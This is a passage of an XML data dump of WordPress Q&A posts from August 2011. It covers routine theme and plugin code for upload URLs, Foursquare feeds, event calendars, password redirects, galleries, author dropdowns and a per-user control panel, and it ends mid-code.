  <row Id="25417" PostTypeId="2" ParentId="25110" CreationDate="2011-08-09T13:17:33.893" Score="1" ViewCount="" Body="&lt;p&gt;I found another way of doing this. I added the following to functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function yoursite_get_relative_attachment_path($path)&#xA;{&#xA;    $paths = (object)parse_url($path);&#xA;    return $paths-&amp;gt;path;&#xA;}&#xA;&#xA;function yoursite_wp_handle_upload($info)&#xA;{&#xA;    $info['url'] = yoursite_get_relative_attachment_path($info['url']);&#xA;    return $info;&#xA;}&#xA;add_filter('wp_handle_upload', 'yoursite_wp_handle_upload');&#xA;&#xA;function yoursite_wp_get_attachment_url($url)&#xA;{&#xA;    return yoursite_get_relative_attachment_path($url);&#xA;}&#xA;add_filter('wp_get_attachment_url', 'yoursite_wp_get_attachment_url');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This way wordpress stores the relative URL in the db. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more detailed instructions see &lt;a href=&quot;http://www.typeoneerror.com/articles/post/relative-image-links-in-wordpress-uploader&quot; rel=&quot;nofollow&quot;&gt;the blog where I learned about this&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4486" LastActivityDate="2011-08-09T13:17:33.893" />
  <row Id="25418" PostTypeId="1" AcceptedAnswerId="25494" CreationDate="2011-08-09T13:06:55.083" Score="0" ViewCount="116" Body="&lt;p&gt;For security reasons I don't want it to be obvious that I use Word Press.&#xA;I use the W3 Total Cache plugin and minify HTML, CSS and JS. I may also use a CDN.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to modify the W3 Total Cache plugin so that it can rewrite the Wordpress directories &quot;wp-content&quot;, &quot;wp-admin&quot; and &quot;wp-includes&quot; without actually renaming these directories? I'd ideally like to be able to rewrite W3 Total Cache directories such as &quot;w3tc&quot;&lt;/p&gt;&#xA;" OwnerUserId="5864" LastActivityDate="2011-08-10T00:39:47.687" Title="How can I hide that I Use Wordpress (with W3 Total Cache)" Tags="&lt;php&gt;&lt;mod-rewrite&gt;&lt;plugins&gt;&lt;plugin-development&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" />
  <row Id="25419" PostTypeId="1" AcceptedAnswerId="25420" CreationDate="2011-08-09T13:20:39.163" Score="0" ViewCount="39" Body="&lt;p&gt;Does anyone know how to display the latest Foursquare checkin for a specific account on a WordPress blog?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally I would like to add the function to the theme rather than use a plugin but i'm open to suggestions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&#xA;G&lt;/p&gt;&#xA;" OwnerUserId="1298" LastActivityDate="2011-08-09T16:29:36.297" Title="Latest Foursquare Checkin function" Tags="&lt;functions&gt;" AnswerCount="1" />
  <row Id="25420" PostTypeId="2" ParentId="25419" CreationDate="2011-08-09T13:38:13.337" Score="2" ViewCount="" Body="&lt;p&gt;Here is a solution for you:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First download &lt;a href=&quot;http://code.google.com/p/foursquare-php/&quot; rel=&quot;nofollow&quot;&gt;this nice little class&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, include it and “login”&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;require_once 'foursquare.php'; //Load the foursquare class&#xA;$foursquare = new fourSquare(&quot;username&quot;, &quot;password&quot;); //login&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then to get the venue’s name use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $foursquare-&amp;gt;venueName; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can also get the venue's type,venue's icon, venue's location on the map and user’s comment on the venue. its all documented at the link provided above.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Since FourSquare changed their API i found a much simpler solution:&#xA;login to your foursquare account and then head to &lt;a href=&quot;http://feeds.foursquare.com/&quot; rel=&quot;nofollow&quot;&gt;http://feeds.foursquare.com/&lt;/a&gt; and copy the rss feed url.&#xA;and use this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// $numCheckins - number of checkins to get&#xA;function Display_last_checkins($numCheckins = 2){&#xA;    $feedURL = 'enter your rss feed here';&#xA;    $feedObject = simplexml_load_file($feedURL . '?count=' .$numCheckins);&#xA;    $items = $feedObject-&amp;gt;channel;&#xA;    $checkin = $items-&amp;gt;item;&#xA;    echo '&amp;lt;ul&amp;gt;';&#xA;    $count = 0;&#xA;    foreach ($checkin as $item) {&#xA;        if ($item-&amp;gt;link != '') {&#xA;            echo '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;'. $item-&amp;gt;link .'&quot;&amp;gt;' .&#xA;                $item-&amp;gt;title . '&amp;lt;/a&amp;gt;&amp;lt;br/&amp;gt;&amp;lt;/li&amp;gt;';&#xA;            /* you can use &#xA;            $item-&amp;gt;description  - user comment&#xA;            $item-&amp;gt;pubDate      - publish date and time (Wed, 27 Apr 11 16:40:18 +0000)&#xA;            $item-&amp;gt;georss:point - location for map (31.613221 34.76874)&#xA;&#xA;            */&#xA;            $count++;&#xA;            if ($count == $numCheckins) {break;}&#xA;        }&#xA;    }&#xA;    $echo .= '&amp;lt;/ul&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-08-09T16:29:36.297" LastActivityDate="2011-08-09T16:29:36.297" CommentCount="8" />
  <row Id="25421" PostTypeId="2" ParentId="14002" CreationDate="2011-08-09T13:40:30.103" Score="0" ViewCount="" Body="&lt;p&gt;Here's a basic page template for displaying an events calendar in grid form based on the grid template bundled with the plugin. Edit as necessary to match the styling and layout of your theme:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;/**&#xA; * Template Name: Event Gridview&#xA; **/&#xA;global $spEvents;&#xA;$spEvents-&amp;gt;loadDomainStylesScripts();&#xA;get_header();&#xA;&#xA;query_posts('post_type=post&amp;amp;category_name=Events&amp;amp;posts_per_page=-1');&#xA;?&amp;gt;&#xA;    &amp;lt;div id=&quot;tec-content&quot; class=&quot;grid&quot;&amp;gt;&#xA;        &amp;lt;div id='tec-events-calendar-header' class=&quot;clearfix&quot;&amp;gt;&#xA;            &amp;lt;h2 class=&quot;tec-cal-title&quot;&amp;gt;&amp;lt;?php _e('Calendar of Events', $spEvents-&amp;gt;pluginDomain) ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;span class='tec-month-nav'&amp;gt;&#xA;                &amp;lt;span class='tec-prev-month'&amp;gt;&#xA;                    &amp;lt;a href='&amp;lt;?php echo events_get_previous_month_link(); ?&amp;gt;'&amp;gt;&#xA;                    &amp;amp;#x2190; &amp;lt;?php echo events_get_previous_month_text(); ?&amp;gt;&#xA;                    &amp;lt;/a&amp;gt;&#xA;                &amp;lt;/span&amp;gt;&#xA;&#xA;                &amp;lt;?php get_jump_to_date_calendar( &quot;tec-&quot; ); ?&amp;gt;&#xA;&#xA;                &amp;lt;span class='tec-next-month'&amp;gt;&#xA;                    &amp;lt;a href='&amp;lt;?php echo events_get_next_month_link(); ?&amp;gt;'&amp;gt;              &#xA;                    &amp;lt;?php echo events_get_next_month_text(); ?&amp;gt; &amp;amp;#x2192; &#xA;                    &amp;lt;/a&amp;gt;&#xA;                &amp;lt;/span&amp;gt;&#xA;            &amp;lt;/span&amp;gt;&#xA;&#xA;            &amp;lt;span class='tec-calendar-buttons'&amp;gt; &#xA;                &amp;lt;a class='tec-button-off' href='&amp;lt;?php echo events_get_listview_link(); ?&amp;gt;'&amp;gt;&amp;lt;?php _e('Event List', $spEvents-&amp;gt;pluginDomain)?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;a class='tec-button-on' href='&amp;lt;?php echo events_get_gridview_link(); ?&amp;gt;'&amp;gt;&amp;lt;?php _e('Calendar', $spEvents-&amp;gt;pluginDomain)?&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/span&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- tec-events-calendar-header --&amp;gt;&#xA;        &amp;lt;?php&#xA;        global $wp_query;&#xA;        $tecCatObject = get_category( $wp_query-&amp;gt;query_vars['cat'])&#xA;        ?&amp;gt;&#xA;        &amp;lt;a class=&quot;ical&quot; href=&quot;&amp;lt;?php bloginfo('home'); ?&amp;gt;/?ical=&amp;lt;?php echo $tecCatObject-&amp;gt;slug; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php _e('iCal Import', $spEvents-&amp;gt;pluginDomain) ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;?php event_grid_view(); // See the plugins/the-events-calendar/views/table.php template for customization ?&amp;gt;   &#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php /* For custom template builders...&#xA;       * The following init method should be called before any other loop happens.&#xA;       */&#xA;&#xA;wp_reset_query();&#xA;$wp_query-&amp;gt;init(); ?&amp;gt;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The key component being the &lt;code&gt;query_posts&lt;/code&gt; call after the header is called. You can use this to modify the other template files in the views subfolder of the plugin to adapt the other calendar views into additional page templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tested this using the free version of the plugin linked in Wordpress v3.2.1, no shortcodes necessary.&lt;/p&gt;&#xA;" OwnerUserId="736" LastActivityDate="2011-08-09T13:40:30.103" CommentCount="1" />
  <row Id="25422" PostTypeId="2" ParentId="15036" CreationDate="2011-08-09T13:41:15.233" Score="0" ViewCount="" Body="&lt;p&gt;try use this tutorial &lt;a href=&quot;http://pt.w3support.net/index.php?db=so&amp;amp;id=1216114&quot; rel=&quot;nofollow&quot;&gt;http://pt.w3support.net/index.php?db=so&amp;amp;id=1216114&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4879" LastActivityDate="2011-08-09T13:41:15.233" />
  <row Id="25423" PostTypeId="2" ParentId="22407" CreationDate="2011-08-09T13:57:58.600" Score="1" ViewCount="" Body="&lt;p&gt;On the homepage:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&quot;post&quot; action=&quot;&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;password&quot; name=&quot;passwordfield&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;homepagepassword&quot; value=&quot;1&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; value=&quot;Submit&quot;&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Place in functions.php &lt;em&gt;( create the file if it doesnt already exist and add &lt;code&gt;&amp;lt;?php&lt;/code&gt; at the top)&lt;/em&gt; or in a plugin file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function doPasswordStuff(){&#xA;    if(isset($_POST['homepagepassword'])){&#xA;        $pass = $_POST['passwordfield'];&#xA;        $q = new WP_Query( array( 'meta_key' =&amp;gt; 'password_value', 'meta_value' =&amp;gt; $pass));&#xA;        if($q-&amp;gt;have_posts()){&#xA;            while($q-&amp;gt;have_posts()){&#xA;                $q-&amp;gt;the_post();&#xA;                wp_redirect(get_permalink());&#xA;                die();&#xA;            }&#xA;        } else {&#xA;            // oh dear, there isnt a post with this 'password', put a redirect to a fallback here&#xA;            wp_redirect('http://www.google.com');&#xA;            die();&#xA;        }&#xA;        wp_reset_query();&#xA;    }&#xA;}&#xA;add_action('init','doPasswordStuff');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add a custom field to your post with the key/name &lt;code&gt;password_value&lt;/code&gt; and the value being your password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to skip this step and use the password Wordpress uses to lock the post directly, you will need to use &lt;code&gt;$wpdb&lt;/code&gt; and an SQL query, and to hash the password your checking prior.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit:&lt;/strong&gt; I've updated this to use the 'init' hook, you can put the code in a plugin file instead of functions.php if you want this to be theme independent. ( Although you will still need to put the form markup somewhere ).&lt;/p&gt;&#xA;" OwnerUserId="736" LastEditorUserId="736" LastEditorDisplayName="" LastEditDate="2011-08-11T15:00:47.360" LastActivityDate="2011-08-11T15:00:47.360" CommentCount="2" />
  <row Id="25424" PostTypeId="1" CreationDate="2011-08-09T14:02:19.000" Score="0" ViewCount="31" Body="&lt;p&gt;I wish the title of the post always fixed when scrolling page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We opened an article, the title we have in place standard.&#xA;Once down the page, it keeps it on top of the site.&#xA;When climbing the screen, he returns to the place of origin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to guide me through this tutorial: &lt;a href=&quot;http://pt.w3support.net/index.php?db=so&amp;amp;id=1216114&quot; rel=&quot;nofollow&quot;&gt;http://pt.w3support.net/index.php?db=so&amp;amp;id=1216114&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I changed the title to a div:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&amp;lt; div class=&quot;postheader&quot;&gt; &amp;lt; ? php the_title ();&gt; &amp;lt; / div&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the css:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;. postheader {&lt;/p&gt;&#xA;&#xA;&lt;p&gt;margin: 0.2em 0;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;padding: 0;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;font-size: 18px;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;color: # 3f5e73;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;background-color: # ffffff;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; color: # 3f5e73;&#xA; height: 30px;&#xA; position: absolute;&#xA; top: 0px;&#xA; width: 400px;&#xA; z-index: 100;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And in the body, this script:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$ (window). scroll (function (e) {&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$ el = $ ('. postheader');&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if ($ (this). scrollTop ()&gt; 0 &amp;amp; &amp;amp; $ el.css ('position')! = 'fixed') {&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $ ('. postheader'). css ({'position': 'fixed', 'top': '0 px '});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;});&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not getting results&lt;/p&gt;&#xA;" OwnerUserId="4879" LastActivityDate="2011-08-09T14:02:19.000" ClosedDate="2011-08-09T17:29:49.160" Title="title of the post always fixed when scrolling page" Tags="&lt;title&gt;" CommentCount="2" />
  <row Id="25425" PostTypeId="1" CreationDate="2011-08-09T14:10:13.857" Score="0" ViewCount="110" Body="&lt;p&gt;I noticed recently that the full page cache for category pages isn't getting updated. Other pages seem to work fine (home, posts, etc) but categories cache files stay untouched for days until I manually rm -rf them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could cause this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plugin updated to latest version.&lt;/p&gt;&#xA;" OwnerUserId="745" LastActivityDate="2011-08-13T00:16:28.490" Title="Page cache for categories not updating with W3 Total Cache" Tags="&lt;plugin-w3-total-cache&gt;" AnswerCount="1" />
  <row Id="25426" PostTypeId="2" ParentId="25022" CreationDate="2011-08-09T14:23:09.303" Score="0" ViewCount="" Body="&lt;p&gt;resolved, link : codex.wordpress.org/Category_Templates&lt;/p&gt;&#xA;" OwnerUserId="4879" LastActivityDate="2011-08-09T14:23:09.303" />
  <row Id="25427" PostTypeId="1" CreationDate="2011-08-09T14:27:21.290" Score="0" ViewCount="35" Body="&lt;p&gt;I'm working on a project that will require two separate galleries to be displayed on the same post. One gallery is specific to the product and the other is professional generic shots. The content of both galleries will change with every post. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to figure out how to show two separate galleries on a post and repeat this process daily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way that I can think of is to store images in another post (post-b) and insert post-b   using either @MikeSchinkel's or @Scribu's post to post connector.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would you do?&lt;/p&gt;&#xA;" OwnerUserId="1057" LastActivityDate="2011-08-09T15:06:51.940" Title="Ways to show multiple, separate galleries per post?" Tags="&lt;images&gt;&lt;gallery&gt;" AnswerCount="1" />
  <row Id="25428" PostTypeId="2" ParentId="25414" CreationDate="2011-08-09T14:29:17.790" Score="1" ViewCount="" Body="&lt;p&gt;You can try using the .current-menu-item li a&quot;first-child selector. Here is an example I've used in the past to highlight the current menu item only:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#menu .current-menu-item {&#xA;background:white; &#xA;}&#xA;#menu .current-menu-item li a:first-child { &#xA;color:white!important;&#xA;}&#xA;#menu .current-menu-item a { &#xA;color:black !important ;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will need to change the #menu to your id or class.&lt;/p&gt;&#xA;" OwnerUserId="5339" LastActivityDate="2011-08-09T14:29:17.790" />
  <row Id="25429" PostTypeId="2" ParentId="25427" CreationDate="2011-08-09T15:06:51.940" Score="0" ViewCount="" Body="&lt;p&gt;If possibile, use &lt;a href=&quot;http://wordpress.org/extend/plugins/nextgen-gallery/&quot; rel=&quot;nofollow&quot; title=&quot;nextgen&quot;&gt;NextGen Gallery&lt;/a&gt; plugin, to manage the gallery, and with the help of custom fields, manage it in the post&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can create two custom fields, like:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;first_gallery&lt;/li&gt;&#xA;&lt;li&gt;second_gallery&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;and fill it with the nextgen gallery ID. You can do a custom metabox with a select box, if you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The in the frontend code, use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   $first = get_post_meta($post-&amp;gt;ID, 'first_gallery',true);&#xA;   $second = get_post_meta($post-&amp;gt;ID, 'second_gallery',true);&#xA;   ...&#xA;   echo do_shortcode('[nggallery id='.$first.']');&#xA;   echo do_shortcode('[nggallery id='.$second.']');&#xA;   ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this it helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Bonus&lt;/strong&gt;: there are many nextgen gallery plugins that let you change how the gallery is rendered to the user.&lt;/p&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2011-08-09T15:06:51.940" CommentCount="2" />
  <row Id="25430" PostTypeId="1" CreationDate="2011-08-09T15:22:47.357" Score="0" ViewCount="34" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I want to systematically add tags (/custom taxonomy terms) to all previous posts, from a predefined set of tags (i.e., not Yahoo tags or tags from 3rd-party APIs).  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;For future posts, I would like tags to be either suggested or added based on the content of posts.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Ideally: I would like a more customized way of recommending/adding tags than simply looking for the tag text in an entry; ideally I'd be able to specify a set of related words (such as with a term meta field) so that, for example, a tag of &lt;code&gt;Education&lt;/code&gt; is added not just when &quot;education&quot; appears in a post but when some of a specified list appear in the post: &lt;code&gt;teachers, school, standardized tests, math&lt;/code&gt;, etc.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Can you recommend a plugin or strategy that would help achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm open to ideas both simple and complex.&lt;/p&gt;&#xA;" OwnerUserId="3564" LastActivityDate="2011-08-09T20:21:01.627" Title="Automatically tag posts based on user-defined words" Tags="&lt;custom-taxonomy&gt;&lt;plugin-recommendation&gt;&lt;tags&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="25431" PostTypeId="1" AcceptedAnswerId="25436" CreationDate="2011-08-09T15:33:20.473" Score="0" ViewCount="42" Body="&lt;p&gt;I've installed the &lt;a href=&quot;http://jigoshop.com/user-guide/widgets/&quot; rel=&quot;nofollow&quot;&gt;Jigoshop&lt;/a&gt; plugin to create an e-commerce site. It has several built in widgets that I want to use. Is it possible to pull out specific widgets and display them within a page template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within Jigoshop it's specifically the cart, product search and layered nav. I don't just want to display them one under another. I want the cart in the top right of the page with the product search and nav on the left of the page so I need control of each one really.&lt;/p&gt;&#xA;" OwnerUserId="4588" LastEditorUserId="4588" LastEditorDisplayName="" LastEditDate="2011-08-09T15:46:58.473" LastActivityDate="2011-08-10T09:04:20.900" Title="Display specific widgets in different area's around the page" Tags="&lt;widgets&gt;&lt;e-commerce&gt;" AnswerCount="1" />
  <row Id="25432" PostTypeId="2" ParentId="25358" CreationDate="2011-08-09T15:42:43.023" Score="0" ViewCount="" Body="&lt;p&gt;T31os's answer was right: Increase the version number inside the plugin's main file.. eg. 99.9 ... and also make that same change inside the readme file for good measure(though i don't think that's actually required).. – t31os&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-08-09T15:42:43.023" />
  <row Id="25433" PostTypeId="1" CreationDate="2011-08-09T15:50:02.700" Score="0" ViewCount="124" Body="&lt;p&gt;I have a custom post type (photos) with a custom taxonomy (categories) and I'd like to display the taxonomy list in my sidebar in two columns. I have a modified snippet that I found elsewhere to do this, but it doesn't generate the current class for the particular category it is on. Maybe it is not the best way to list the taxonomy to begin with, so I hope someone will suggest a better solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I have now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $term = get_term_by( 'name', 'categories', 'photos' );&#xA;      $cat_term_id = $term-&amp;gt;term_id;&#xA;&#xA;$cats = explode(&quot;&amp;lt;br /&amp;gt;&quot;,wp_list_categories(&quot;title_li=&amp;amp;echo=0&amp;amp;child_of=$cat_term_id&amp;amp;depth=1&amp;amp;style=none&amp;amp;taxonomy=categories&quot;));&#xA;$cat_n = count($cats) - 1;&#xA;for ($i=0;$i&amp;lt;$cat_n;$i++):&#xA;if ($i&amp;lt;$cat_n/2):&#xA;$cat_left = $cat_left.'&amp;lt;li&amp;gt;'.$cats[$i].'&amp;lt;/li&amp;gt;';&#xA;elseif ($i&amp;gt;=$cat_n/2):&#xA;$cat_right = $cat_right.'&amp;lt;li&amp;gt;'.$cats[$i].'&amp;lt;/li&amp;gt;';&#xA;endif;&#xA;endfor;&#xA;?&amp;gt;&#xA;&amp;lt;ul class=&quot;left&quot;&amp;gt;&#xA;&amp;lt;?php echo $cat_left;?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;ul class=&quot;right&quot;&amp;gt;&#xA;&amp;lt;?php echo $cat_right;?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="7762" LastActivityDate="2011-08-10T10:01:22.203" Title="Display Custom Taxonomy in Sidebar in Two Columns" Tags="&lt;taxonomy&gt;&lt;sidebar&gt;&lt;list&gt;&lt;columns&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="25434" PostTypeId="2" ParentId="25383" CreationDate="2011-08-09T15:52:05.700" Score="0" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;I'm reposting this with an example, I really don't get the code formatting of this editor, last time I was so irritated with it that I skipped the code!&lt;/strong&gt;&lt;br&gt;&#xA;That dropdown is populated using a filter 'wp_dropdown_users' (user.php, line 976). This filter returns the dropdown (html select) as a string. You can intercept this string, and add your own options, which is the list of users with the custom role. Inspect the select with Firebug, the option value is the user id, and text is the login name for that user.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;    add_filter('wp_dropdown_users', 'test');&#xA;    function test($output) &#xA;    {&#xA;        global $post;&#xA;&#xA;        //Doing it only for the custom post type&#xA;        if($post-&amp;gt;post_type == 'my_custom_post')&#xA;        {&#xA;            $users = get_users(array('role'=&amp;gt;'my_custom_role'));&#xA;           //We're forming a new select with our values, you can add an option &#xA;           //with value 1, and text as 'admin' if you want the admin to be listed as well, &#xA;           //optionally you can use a simple string replace trick to insert your options, &#xA;           //if you don't want to override the defaults&#xA;           $output .= &quot;&amp;lt;select id='post_author_override' name='post_author_override' class=''&amp;gt;&quot;;&#xA;        foreach($users as $user)&#xA;        {&#xA;            $output .= &quot;&amp;lt;option value='&quot;.$user-&amp;gt;id.&quot;'&amp;gt;&quot;.$user-&amp;gt;user_login.&quot;&amp;lt;/option&amp;gt;&quot;;&#xA;        }&#xA;        $output .= &quot;&amp;lt;/select&amp;gt;&quot;;&#xA;     }&#xA;     return $output;&#xA;    }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's it! You'll have the dropdown listing your custom roles. Try changing the post author, it gets updated neatly. It's a hack, but it worked for me!&lt;/p&gt;&#xA;" OwnerUserId="4740" LastActivityDate="2011-08-09T15:52:05.700" CommunityOwnedDate="2011-08-09T15:52:05.700" />
  <row Id="25435" PostTypeId="1" AcceptedAnswerId="25473" CreationDate="2011-08-09T15:57:23.377" Score="0" ViewCount="53" Body="&lt;p&gt;I'm trying to implement a sliding control panel where logged in users can change background colors, fonts, etc. the point being that they should only be able to do it on their own author pages, nowhere else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to put it simply: User logs in, goes to his author page and the slider appears from where he can customize the appearance of the said author page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the slider working, but how can I save the customizations for each author page, so every user can have customized author page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually these kind of control panel sliders are used for the whole site where admin can do the customizations for the whole site and they are saved to a cookie. This one works the same way currently, but should I save the selections to database for each user or what? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All recommendations, suggestions and everything else is most welcome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how the control panel works from functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    add_action('header_top','control_panel');function control_panel(){&#xA;    $admin_access = apply_filters( 'showcontrol_panel', current_user_can('switch_themes') );&#xA;    if ( !$admin_access ) return;&#xA;    if ( get_option('show_control_panel') &amp;lt;&amp;gt; 'on' ) return;&#xA;    global $bg_texture_urls, $google_fonts; ?&amp;gt;&#xA;    &amp;lt;div id=&quot;et-control-panel&quot;&amp;gt;&#xA;        &amp;lt;div id=&quot;control-panel-main&quot;&amp;gt;&#xA;            &amp;lt;a id=&quot;et-control-close&quot; href=&quot;#&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;div id=&quot;et-control-inner&quot;&amp;gt;&#xA;                &amp;lt;h3 class=&quot;control_title&quot;&amp;gt;Example Colors&amp;lt;/h3&amp;gt;&#xA;                &amp;lt;a href=&quot;#&quot; class=&quot;et-control-colorpicker&quot; id=&quot;et-control-background&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;?php &#xA;                    $sample_colors = array( '6a8e94', '8da49c', 'b0b083', '859a7c', 'c6bea6', 'b08383', 'a4869d', 'f5f5f5', '4e4e4e', '556f6a', '6f5555', '6f6755' );&#xA;                    for ( $i=1; $i&amp;lt;=12; $i++ ) { ?&amp;gt;&#xA;                        &amp;lt;a class=&quot;et-sample-setting&quot; id=&quot;et-sample-color&amp;lt;?php echo $i; ?&amp;gt;&quot; href=&quot;#&quot; rel=&quot;&amp;lt;?php echo $sample_colors[$i-1]; ?&amp;gt;&quot; title=&quot;#&amp;lt;?php echo $sample_colors[$i-1]; ?&amp;gt;&quot;&amp;gt;&amp;lt;span class=&quot;et-sample-overlay&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;?php } ?&amp;gt;&#xA;&#xA;&#xA;                &amp;lt;h3 class=&quot;control_title&quot;&amp;gt;Texture Overlays&amp;lt;/h3&amp;gt;&#xA;                &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;?php &#xA;                    $sample_textures = $bg_texture_urls;&#xA;                    for ( $i=1; $i&amp;lt;=count($bg_texture_urls); $i++ ) { ?&amp;gt;&#xA;                        &amp;lt;a title=&quot;&amp;lt;?php echo $sample_textures[$i-1]; ?&amp;gt;&quot; 